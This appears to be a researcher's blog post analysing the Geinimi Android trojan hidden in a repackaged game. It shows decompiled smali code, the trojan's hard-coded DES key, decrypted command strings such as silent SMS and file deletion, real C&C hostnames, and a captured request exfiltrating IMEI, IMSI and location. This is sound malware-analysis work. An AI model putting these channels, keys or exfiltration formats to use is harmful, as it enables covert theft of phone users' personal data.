Last week a new trojan affecting Android phones has been discovered. Called Geinimi, the trojan is hidden into other existing apps.
At the moment, it has been detected only in third-party Chinese app markets and Google Android Market does not seem to be compromised.
The main difference between Geinimi and previously discovered Android Trojans is the potential to communicate with a remote C&C server.
On the first chapter we will analyze how to obtain some encrypted data that the trojan hides as well as the communication with the C&C server.
As we did in the previous analysis of Trojan-SMS.AndroidOS.FakePlayer.a we’ll use the android-apktool to obtain the app resources:
opensourcesim:~# apktool d MonkeyJump2.0.apk I: Baksmaling… I: Loading resource table… I: Decoding resources… I: Loading resource table from file: /root/apktool/framework/1.apk I: Copying assets and libs…
Be sure you use some case-sensitive filesystem because baskmali will crash with a case-insensitive filesystem (ofuscation??)
jaime:Downloads jaimeblasco$ apktool d MonkeyJump2.0.apk I: Baksmaling… Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: File already exists: MonkeyJump2.0/smali/com/dseffects/MonkeyJump2/jump2/A.smali at brut.androlib.Androlib.decodeSourcesSmali(Unknown Source) at brut.androlib.ApkDecoder.decode(Unknown Source) at brut.apktool.Main.cmdDecode(Unknown Source) at brut.apktool.Main.main(Unknown Source) Caused by: brut.androlib.AndrolibException: File already exists: MonkeyJump2.0/smali/com/dseffects/MonkeyJump2/jump2/A.smali at brut.androlib.src.SmaliDecoder.decodeClassDefItem(Unknown Source) at brut.androlib.src.SmaliDecoder.decode(Unknown Source) at brut.androlib.src.SmaliDecoder.decode(Unknown Source) ... 4 more
Once we have the decoded resources we can find the crypto functions in ./smali/com/dseffects/MonkeyJump2/jump2/e/p.smali:
.method public static b([B)[B .locals 3 const-string v0, "DES" :try_start_0 new-instance v0, Ljavax/crypto/spec/DESKeySpec; sget-object v1, Lcom/dseffects/MonkeyJump2/jump2/e/k;->b:[B invoke-direct {v0, v1}, Ljavax/crypto/spec/DESKeySpec;->([B)V const-string v1, "DES" invoke-static {v1}, Ljavax/crypto/SecretKeyFactory;->getInstance(Ljava/lang/String;)Ljavax/crypto/SecretKeyFactory; move-result-object v1 invoke-virtual {v1, v0}, Ljavax/crypto/SecretKeyFactory;->generateSecret(Ljava/security/spec/KeySpec;)Ljavax/crypto/SecretKey; move-result-object v0 const-string v1, "DES" invoke-static {v1}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher; move-result-object v1 const/4 v2, 0x1 invoke-virtual {v1, v2, v0}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V invoke-virtual {v1, p0}, Ljavax/crypto/Cipher;->doFinal([B)[B :try_end_0 .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0 move-result-object v0 :goto_0 return-object v0 :catch_0 move-exception v0 const/4 v0, 0x0 goto :goto_0
If we follow the function call Lcom/dseffects/MonkeyJump2/jump2/e/k;->b:[B (./smali/com/dseffects/MonkeyJump2/jump2/e/k.smali) and take a look at the routines:
.array-data 0x1 0x1t 0x2t 0x3t 0x4t 0x5t 0x6t 0x7t 0x8t .end array-data
We obtain the default DES key used by the trojan. With the key, we find several arrays defined in ./smali/com/dseffects/MonkeyJump2/jump2/e/p.smali that are passed to the decryption function in runtime, example:
:array_0 .array-data 0x1 0x55t 0x35t 0x2t 0x34t 0x86t 0x64t 0x21t 0x53t 0x1dt 0x21t 0x3dt 0x3at 0xd0t 0xaft 0xb6t 0x57t .end array-data
Here you can download a python script http://alienvault-labs-garage.googlecode.com/svn/trunk/geinimi/decrypt.py [no longer available] to parse the arrays and print the decrypted data, the output is the following:
python decrypt.py ./smali/com/dseffects/MonkeyJump2/jump2/e/p.smali debug_internel debug_outer _value@ http://180.168.68.34:8080/android/getAdXml.do contactlist smsrecord deviceinfo location sms register call PostUrl TicketerText TitleText ContextText ShowMode call:// email:// map:// sms:// search:// install:// shortcut:// contact:// wallpaper:// bookmark:// http:// toast:// startapp:// .zip tel:// smsto: geo: CmdID AdID I D content://sms/inbox content://sms/sent com.android.launcher.action.INSTALL_SHORTCUT method=post&IMEI= &IMSI= &AdID= &CPID= &PTID= &SALESID= &msgType= imei= &imsi= &sms= &type=send &latitude= &longitude= &type=receive &phone= &MODEL=%s&BOARD=%s&BRAND=%s&CPU_ABI=%s&DEVICE=%s&DISPLAY=%s&FINGERPRINT=%s&HOST=%s&ID=%s&MANUFACTURER=%s &PRODUCT=%s&TAGS=%s&TIME=%s&TYPE=%s&USER=%s&SoftwareVersion=%s&Line1Number=%s&NetworkCountryIso=%s &NetworkOperator=%s&NetworkOperatorName=%s&NetworkType=%s&PhoneType=%s&SimCountryIso=%s&SimOperator=%s &SimOperatorName=%s&SimSerialNumber=%s&SimState=%s&SubscriberId=%s&VoiceMailNumber=%s&CPID=%s &PTID=%s&SALESID=%s&DID=%s&sdkver=%s&autosdkver=%s&shell=%s suggestsms:// silentsms:// method=postlink&IMEI= &FeatureTag= text:// method=show&IMEI= suggestsms skiptime changefrequency &DID= &sdkver= &autosdkver= IMEI IMSI CPID PTID SALESID DID sdkver autosdkver latitude longitude ???????nim?????tom?????????ybo &applist= applist updatehost www.widifu.com:8080;www.udaore.com:8080;www.frijd.com:8080;www.islpast.com:8080;www.piajesj.com:8080 ;www.qoewsl.com:8080;www.weolir.com:8080;www.uisoa.com:8080;www.riusdu.com:8080;www.aiucr.com:8080;117.135.134.185:8080 install uninstall showurl cmd cp cmd pm cmd rm /data/ shell cmd kill start android.provider.Telephony.SMS_RECEIVED @@smskey( @@kill@( smskiller content://sms/conversations/
As we can see, the author took the trouble to hide the stored data that contains for example the C&C domains:
www.widifu.com:8080; www.udaore.com:8080; www.frijd.com:8080; www.islpast.com:8080; www.piajesj.com:8080; www.qoewsl.com:8080; www.weolir.com:8080; www.uisoa.com:8080; www.riusdu.com:8080; www.aiucr.com:8080; 117.135.134.185:8080
If we do a static analysis of the trojan we observe http connections to these servers at five minute intervals. Example communication:
POST /getAdXml.do HTTP/1.1 User-Agent: Dalvik/1.1.0 (...) Host: 117.135.134.185:8080 Accept: *, */* Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 295 params=113a080016d3838bd9864d760e82d73375da7fa36b5cee41f2abfdd9d0e04c3b9aaf93bf06ed0490e670b4ab4bce6ec9a131f8d368d6a0 99325da2742677388e569a08f1ae2507d0f2abfdd9d0e04c3bf77f7339d5b56855b58a6e3c30c4f07b3f7c0347e2a498ab8619d53210630 f7ec73056aebc1ae56e3fef18cbf35d11c14c372859361c628de3953343b5860f9aHTTP/1.1
We can find all the communication functions on /smali/com/dseffects/MonkeyJump2/jump2/e/n.smali.
If we take a look to the code, we realize that the “params” content is encrypted with the same DES key used to hide the previous data. So if we decrypt the data we obtain:
PTID=33050001&IMEI=000000000000000&sdkver=10.7&SALESID=0006&IMSI=310260000000000&longitude=0.0&latitude=0.0&DID=2001&autosdkver=10.7&CPID=3305
As we can see the trojan is sending personal data (device identifiers; IMEI, IMSI, coordinates…).
In the next chapter we will continue analyzing other advance trojan capabilities. I hope you liked it and happy new hunting year.